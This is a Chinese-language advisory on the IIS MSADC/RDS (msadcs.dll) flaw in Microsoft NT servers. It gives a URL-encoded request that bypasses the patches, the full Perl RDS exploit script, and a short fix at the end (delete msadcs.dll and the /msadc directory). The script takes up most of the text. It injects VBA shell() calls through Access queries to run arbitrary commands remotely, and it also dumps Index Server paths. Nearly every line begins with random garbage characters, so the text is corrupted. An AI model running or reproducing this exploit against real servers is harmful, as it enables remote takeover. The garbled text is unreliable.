IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3&^hf^yg Za{O9Qc?D| 涉及程序：
/f1]U
LmC: Microsoft NT server
Q /4-7 @c]KHWI 描述：
{S{ %KkAV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.T9$O]:o m1pA]}Y/5o 详细：
@-dGZ 5 如果你没有时间读详细内容的话，就删除:
{wz)^A
sy c:\Program Files\Common Files\System\Msadc\msadcs.dll
,^?g\&f( 有关的安全问题就没有了。
qhx M O[f @^UgdD,BS, 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
mcd{:/^? wG[n wt0L 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8j#S+=l> 关于利用ODBC远程漏洞的描述，请参看:
1DB{"8ov M=Ze)X\E*' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DlUKhbo$g Q`9c /vPU 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
UX BWCo;- http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1,+<|c)T? sWr;%<K 这里不再论述。
p6<JpW5@_ (NLw#)? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
D;0>- {O2=K#J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+s}&'V^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
q!:dZES $M)i]ekm
U=~?ca #将下面这段保存为txt文件，然后: "perl -x 文件名"
*0>`XK$mWo MT~^wI0a #!perl
]!{S2x&" #
]M *`Y[5" # MSADC/RDS 'usage' (aka exploit) script
I:TbZ*vi~ #
"Wg,]$IvU # by rain.forest.puppy
:1*E5pX0n #
$VHIU1JjZ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-orRmn6} # beta test and find errors!
%@vF% 2X\P w use Socket; use Getopt::Std;
-H6[{WVW! getopts("e:vd:h:XR", \%args);
m~
ah!QM bHG<B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v-z%3x.f wI|h9q1U if (!defined $args{h} && !defined $args{R}) {
+;~o R_p print qq~
kku<0<(N Usage: msadc.pl -h <host> { -d <delay> -X -v }
>; MJm -h <host> = host you want to scan (ip or domain)
6U ! P8q -d <seconds> = delay between calls, default 1 second
l%EvXdZuOy -X = dump Index Server path table, if available
DSwb8q -v = verbose
X=whZ\EZ -e = external dictionary file for step 5
AE7 7i,Xa _l7_!Il_ Or a -R will resume a command session
`Jc / o=] X+]>pA ~; exit;}
lZ- U/$od S3Y.+. 0U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,N(Yjq"R if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
nnj<k5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H7tv iSTd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(U & $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-SM_JR3< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$$m0mK i6KfH\{N if (!defined $args{R}){ $ret = &has_msadc;
> mO*.' Gm die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N 5*Q nb8 4tCM 2it% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Vr},+Rj . "cmd /c ";
!4a fU: $in=<STDIN>; chomp $in;
csW\Q][ $command="cmd /c " . $in ;
9s"st\u
4 < 9, h! if (defined $args{R}) {&load; exit;}
MG vz-E1e s9+):,dKP print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^ 4< D%\ &try_btcustmr;
$~6MR_Yq 6HK1? print "\nStep 2: Trying to make our own DSN...";
)=Z;H"_ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6
^3RfF^W o`c+eMwr( print "\nStep 3: Trying known DSNs...";
F~6]II &known_dsn;
,5$G0 o>8 ~rtl print "\nStep 4: Trying known .mdbs...";
;<garDf &known_mdb;
?\8aT "o kaCN^yQ if (defined $args{e}){
G e`7`D>L print "\nStep 5: Trying dictionary of DSN names...";
jl P*RX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Sh!c]r>\Q `* vO8v print "Sorry Charley...maybe next time?\n";
*gwaW!= exit;
"/6# Z>y 1k6asz^T ##############################################################################
OY{fxB b {C 5: as sub sendraw { # ripped and modded from whisker
eP]y\S*P sleep($delay); # it's a DoS on the server! At least on mine...
7.Y;nem:( my ($pstr)=@_;
/iO"4%v socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o5s6$\" die("Socket problems\n");
C<J*C0vQO if(connect(S,pack "SnA4x8",2,80,$target)){
8S#$'2sT select(S); $|=1;
X "7CN Td print $pstr; my @in=<S>;
iKaX8c,zI select(STDOUT); close(S);
8s6[-F5 return @in;
"?zWCH } else { die("Can't connect...\n"); }}
"j_iq"J "a[;{s{{. ##############################################################################
qI uo8o} 3`reXms*{ sub make_header { # make the HTTP request
u9f ^wn my $msadc=<<EOT
v<v;Z R) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}3: mn User-Agent: ACTIVEDATA
W$`v^1M2o Host: $ip
`e,}7zGR Content-Length: $clen
jz<}9Kze Connection: Keep-Alive
.rk5 u4yK s-rc 0:I ADCClientVersion:01.06
o)5zvnu7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
twr{jdY9 /^xv1F{ --!ADM!ROX!YOUR!WORLD!
n0 l|7:Mk Content-Type: application/x-varg
?sQg{1"Z r Content-Length: $reqlen
nZ B ~l= g g#9I(pX EOT
Ll=G+cw6P ; $msadc=~s/\n/\r\n/g;
6 HCg<_j] return $msadc;}
q #3T
L< %J1'>nI!q ##############################################################################
c)#7T<>*' GG>53} 7{ sub make_req { # make the RDS request
^)9/Wz _x my ($switch, $p1, $p2)=@_;
"~ID.G|< my $req=""; my $t1, $t2, $query, $dsn;
SOR\oZ7 nq H[
y0 if ($switch==1){ # this is the btcustmr.mdb query
zY\u"
'4 $query="Select * from Customers where City=" . make_shell();
neu+h6#H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%q|* }l $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
"J,|),Yd ouCh2Y/_ elsif ($switch==2){ # this is general make table query
y 0p=E^Q M $query="create table AZZ (B int, C varchar(10))";
fC'u-m?!Q' $dsn="$p1";}
bji#ID2]% {o Y"CZ2 elsif ($switch==3){ # this is general exploit table query
4C?{p%3c $query="select * from AZZ where C=" . make_shell();
M%_*vD $dsn="$p1";}
!f(A9V 7kV$O(4 elsif ($switch==4){ # attempt to hork file info from index server
$ Zyuhji^ $query="select path from scope()";
}'Ap@4 $dsn="Provider=MSIDXS;";}
B`QF;,3S aiX&` elsif ($switch==5){ # bad query
Q(<A Yu $query="select";
\ 9,lMK[b $dsn="$p1";}
OulRqbL 2 2T*kmDp $t1= make_unicode($query);
|[n\'Xy;{ $t2= make_unicode($dsn);
--y,ky# $req = "\x02\x00\x03\x00";
Pa{DB?P $req.= "\x08\x00" . pack ("S1", length($t1));
LIG@` $req.= "\x00\x00" . $t1 ;
4-[U[JJc $req.= "\x08\x00" . pack ("S1", length($t2));
5P <"I[" $req.= "\x00\x00" . $t2 ;
&]a(5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8US35t:M return $req;}
?&0CEfa? FMCA~N ##############################################################################
W2XWb<QSEV :a Cf@:'] sub make_shell { # this makes the shell() statement
9K}DmS return "'|shell(\"$command\")|'";}
'E #L6,& H 2I ##############################################################################
x(u.(:V -}TP)/ !,* sub make_unicode { # quick little function to convert to unicode
P4"BX*x my ($in)=@_; my $out;
ij] ~n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9HR1m 3 return $out;}
b [HnhAI x=>dmi3 ##############################################################################
O=U,x-Wl kV sX/ ~$ sub rdo_success { # checks for RDO return success (this is kludge)
aT2%Az@j my (@in) = @_; my $base=content_start(@in);
xb[yy}>"L if($in[$base]=~/multipart\/mixed/){
?W ^`Fa)]o return 1 if( $in[$base+10]=~/^\x09\x00/ );}
M#2<|VUW, return 0;}
'exR;q\ < k(n% ##############################################################################
8ZV!ld K
@&c sub make_dsn { # this makes a DSN for us
VB/75xK_ my @drives=("c","d","e","f");
=UO7!vr;[ print "\nMaking DSN: ";
I[Bp}6G foreach $drive (@drives) {
I|*<[/)]y print "$drive: ";
Z]LP18m9kl my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/b{ @'] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#pRbRT9 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~Fv z&dO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3U?gw!M> return 0 if $2 eq "404"; # not found/doesn't exist
W !el[@ if($2 eq "200") {
G :+D1J] foreach $line (@results) {
:H itx return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
x s6 !NY } return 0;}
-d!84_d9 6@0? ~ ##############################################################################
IH*G7; te;bn4~ sub verify_exists {
clqFV
my ($page)=@_;
q ) 5s'( my @results=sendraw("GET $page HTTP/1.0\n\n");
i|H^&$| return $results[0];}
ii`,cJl 'O ~_g5kC ##############################################################################
De$Ic"Z9L M Ir[_ sub try_btcustmr {
Xl$r720ZJr my @drives=("c","d","e","f");
E\4ZUGy 0 my @dirs=("winnt","winnt35","winnt351","win","windows");
uuHs)
*W | foreach $dir (@dirs) {
Q.4+"JoG print "$dir -> "; # fun status so you can see progress
{3os9r, foreach $drive (@drives) {
$!'Vn)Z7 print "$drive: "; # ditto
G| &$/]~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%j0c |u $reqlenlen=length( "$reqlen" );
BThrv$D} $clen= 206 + $reqlenlen + $reqlen;
#m7evb5eg* t:.X=/ 02 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U>n.+/ss if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
p& XuNk else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,UVd+rY} vG}\Amx+ ##############################################################################
sWA-_ 4 j bOwpyH sub odbc_error {
V:D?i#%,z my (@in)=@_; my $base;
,!AYeVq my $base = content_start(@in);
KdlUa^}D if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
%MtaWZ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:q1j?0 {2N $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!k 'E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*Q [%r return $in[$base+4].$in[$base+5].$in[$base+6];}
t P' ._0n0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*Q -uE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
vO zUAi $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
g$=']A?W_ jxw8j o06: ##############################################################################
*W}nw$tnBX JDpW7OrDc sub verbose {
F%ukT6xp my ($in)=@_;
slA~k;K:_ return if !$verbose;
!9zs>T&9a\ print STDOUT "\n$in\n";}
0}_1 ZU sZa> + ##############################################################################
r_^]5C\ 1 - GtZ2 sub save {
$KRpu<5i} my ($p1, $p2, $p3, $p4)=@_;
YTe8C9eO open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/ubG a6N print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tp V61L
close OUT;}
@!\lt$ )Zyw^KN^ ##############################################################################
& ~)1mnv. pR:cn kVF sub load {
S`spUq1o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8
=3#S'n open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[H RP&jr @p=<IN>; close(IN);
Xs4G#QsA J $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2c9]Ja3:6 $target= inet_aton($ip) || die("inet_aton problems");
}WNgKw print "Resuming to $ip ...";
]waCYrG<sY $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<ot%>\C if($p[1]==1) {
/ vzwokH $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
rYyEs
I#qo $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g3w-Le&T my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
nza^< DlS if (rdo_success(@results)){print "Success!\n";}
SP|Dz,o else { print "failed\n"; verbose(odbc_error(@results));}}
V+y:!t` elsif ($p[1]==3){
wqn }t ] if(run_query("$p[3]")){
wGpw+O print "Success!\n";} else { print "failed\n"; }}
4y9n,~Qgw elsif ($p[1]==4){
l0wvW v*k if(run_query($drvst . "$p[3]")){
f ;W>:`' print "Success!\n"; } else { print "failed\n"; }}
;cZ]^kof exit;}
bJ.6 8643 ps]s
T w ##############################################################################
])T_& % t7 $2 /C sub create_table {
}~Y#N my ($in)=@_;
0c:j wtf $reqlen=length( make_req(2,$in,"") ) - 28;
7[7Sm^Tw $reqlenlen=length( "$reqlen" );
9fb"R"(M $clen= 206 + $reqlenlen + $reqlen;
~F]If \b my @results=sendraw(make_header() . make_req(2,$in,""));
0>?78QL9< return 1 if rdo_success(@results);
~ @s$ my $temp= odbc_error(@results); verbose($temp);
;Q8rAsf 9 return 1 if $temp=~/Table 'AZZ' already exists/;
+(2mHS0_a return 0;}
<7~ +ehu 2fJ2o[v ##############################################################################
SJI+$L\' D)LqkfJ}z^ sub known_dsn {
CbRl/ 68HY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
852Bh'u_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
h3L{zOff "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
kF *^" Cn "banner", "banners", "ads", "ADCDemo", "ADCTest");
cd*F;h ,W<mz7Z(@ foreach $dSn (@dsns) {
A?Oa P print ".";
iu. +bX|b next if (!is_access("DSN=$dSn"));
bX]$S 5c_u if(create_table("DSN=$dSn")){
@Nt$B'+S& print "$dSn successful\n";
#%tN2cFDN if(run_query("DSN=$dSn")){
zFV?,"\r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"^@0zy@x print "Something's borked. Use verbose next time\n";}}} print "\n";}
bQ2 '*T uYwJ[1 C ##############################################################################
A&QO]8 1=%\4\ sub is_access {
,a,co eL my ($in)=@_;
IE9A _u* $reqlen=length( make_req(5,$in,"") ) - 28;
\XlT $reqlenlen=length( "$reqlen" );
}Pe0zx.Ge $clen= 206 + $reqlenlen + $reqlen;
wp8 ocZ-Gj my @results=sendraw(make_header() . make_req(5,$in,""));
hGvuA9d~ my $temp= odbc_error(@results);
}M9L,O*^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{e8.E<f- return 0;}
+3D3[.n 9y"*H2$# ##############################################################################
7w{>bYP PYz^9Ud 6g sub run_query {
lGZ^ 8 my ($in)=@_;
kC)ye"r $reqlen=length( make_req(3,$in,"") ) - 28;
u=h/ l!lR $reqlenlen=length( "$reqlen" );
W.u}Q@ $clen= 206 + $reqlenlen + $reqlen;
vL7 JzSU_ my @results=sendraw(make_header() . make_req(3,$in,""));
eu |cQ^> return 1 if rdo_success(@results);
gaw/3@ my $temp= odbc_error(@results); verbose($temp);
}@ :vq8%Q return 0;}
_(s|@UT# !'^gqaF+ ##############################################################################
>*%mJX/F E5G=Kh[NP sub known_mdb {
\a8<DR\@O my @drives=("c","d","e","f","g");
Yl#r9TM my @dirs=("winnt","winnt35","winnt351","win","windows");
\?e{/hXnl my $dir, $drive, $mdb;
@(:M?AO9S. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mmG+"g$| }l>0m # this is sparse, because I don't know of many
&8 ~+^P1w my @sysmdbs=( "\\catroot\\icatalog.mdb",
hqVFb.6[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
H`;q @ "\\system32\\certmdb.mdb",
Fh4kd>1 D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-HU5E>xG P p[? E.]P my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
v(/T<^{cuk "\\cfusion\\cfapps\\forums\\forums_.mdb",
Zi fAn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=FXZcP>h "\\cfusion\\cfapps\\security\\realm_.mdb",
@<O
Bt d "\\cfusion\\cfapps\\security\\data\\realm.mdb",
u<l[S "\\cfusion\\database\\cfexamples.mdb",
Wo @0yF@ "\\cfusion\\database\\cfsnippets.mdb",
q}#4bB9 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_f u?, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
2\M^ _x$N "\\cfusion\\brighttiger\\database\\cleam.mdb",
aoh"<I%]>4 "\\cfusion\\database\\smpolicy.mdb",
uMToVk`Uv "\\cfusion\\database\cypress.mdb",
J
;=~QYn[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
x 2\ ,n "\\website\\cgi-win\\dbsample.mdb",
~I%m[fQ S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[' ~B & "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ee.# Vhz ); #these are just
2R2ws.} foreach $drive (@drives) {
2WRa@;Tj foreach $dir (@dirs){
`r:n[N=Y& foreach $mdb (@sysmdbs) {
{f \/2k3 print ".";
kqfO3{-;{: if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
[wJM=` !W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f\}fUg 2 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$]eITyC`P print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Gvk)H$ni } else { print "Something's borked. Use verbose next time\n"; }}}}}
QQUYWC /[iqga= foreach $drive (@drives) {
Quy& CV{@ foreach $mdb (@mdbs) {
|Fk >NX print ".";
+wU9 d8W if(create_table($drv . $drive . $dir . $mdb)){
RHdcRojF print "\n" . $drive . $dir . $mdb . " successful\n";
)B 86 if(run_query($drv . $drive . $dir . $mdb)){
-l L(:drn print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
8[Ssrk } else { print "Something's borked. Use verbose next time\n"; }}}}
B\,pbOE?# }
9@LL_r`?< z U;%s<(p ##############################################################################
%- W3F5NK "/e:V-W
sub hork_idx {
z
%Ty; print "\nAttempting to dump Index Server tables...\n";
*E0d CY$ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3,2|8Q,((! $reqlen=length( make_req(4,"","") ) - 28;
RCSG.*% %I $reqlenlen=length( "$reqlen" );
[eeb IJs $clen= 206 + $reqlenlen + $reqlen;
[%M=nJ{8 my @results=sendraw2(make_header() . make_req(4,"",""));
(, wIbwa if (rdo_success(@results)){
?8AchbK; N my $max=@results; my $c; my %d;
a7+w)]r for($c=19; $c<$max; $c++){
G=R`O1-3 $results[$c]=~s/\x00//g;
~ [ k0ay $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
88]V6Rm9[* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nm)H\i $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]o18oY( $d{"$1$2"}="";}
LD]a!eY foreach $c (keys %d){ print "$c\n"; }
t'e1r&^:r~ } else {print "Index server doesn't seem to be installed.\n"; }}
#1-,s.) /gWaxR*m ##############################################################################
6; WfsG5 OT[&a6 _
sub dsn_dict {
o}q>oa b z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a:*8S ovI while(<IN>){
+ niz(] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]W^F!p~eC next if (!is_access("DSN=$dSn"));
N?Byp&rqI< if(create_table("DSN=$dSn")){
o
gec6u} print "$dSn successful\n";
5eP8nn.D if(run_query("DSN=$dSn")){
5G!0Yy[' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>/@wht4- j print "Something's borked. Use verbose next time\n";}}}
Ah5`Cnv print "\n"; close(IN);}
d <{ >& {t<E*5N]a ##############################################################################
~:`5Y"Av: EDQKb TaPt sub sendraw2 { # ripped and modded from whisker
!6Sr*a*5 sleep($delay); # it's a DoS on the server! At least on mine...
;L1Q"Hxh my ($pstr)=@_;
)k)HQcfjD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r%`g` It die("Socket problems\n");
1>I4=mj if(connect(S,pack "SnA4x8",2,80,$target)){
]_!5g3VQh print "Connected. Getting data";
>|{n";n& open(OUT,">raw.out"); my @in;
U($bR |%D select(S); $|=1; print $pstr;
LH7m >/LJr while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
F|+Q i BO close(OUT); select(STDOUT); close(S); return @in;
Q&j-a;L } else { die("Can't connect...\n"); }}
7Gwn ,&) HS Xv_ ##############################################################################
S$~T8_m ^U #0HZ"n sub content_start { # this will take in the server headers
S T#9auw my (@in)=@_; my $c;
&8p]yo2zO for ($c=1;$c<500;$c++) {
E@}N}SR if($in[$c] =~/^\x0d\x0a/){
hk S0 ae if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
bTBV:]w else { return $c+1; }}}
H7{)"P]{f return -1;} # it should never get here actually
>6Y @8 ) dY=]ES} ` ##############################################################################
o#GZ|9IL Qt-7jmZw1 sub funky {
5&59IA%S my (@in)=@_; my $error=odbc_error(@in);
4eF qD; if($error=~/ADO could not find the specified provider/){
LxdF;JCz: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
#`Af exit;}
y vIeK6 if($error=~/A Handler is required/){
5;WESk print "\nServer has custom handler filters (they most likely are patched)\n";
s fD@lW3 exit;}
S vTd#>ke if($error=~/specified Handler has denied Access/){
~ Up5 +7k@ print "\nServer has custom handler filters (they most likely are patched)\n";
onqifQ exit;}}
@477| LO I /2{I ##############################################################################
55Pe&V1= P 2-^j) sub has_msadc {
Dq07Z^#' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
F,dPmR my $base=content_start(@results);
h^QLv OuR return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
VQ}N& H)` return 0;}
}?eO.l{ p{@j M ########################
FIMM\W
={' 3j cn ~/P|B[ 解决方案：
Nm{+!}cC 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
( )'yY^ 2、移除web 目录: /msadc
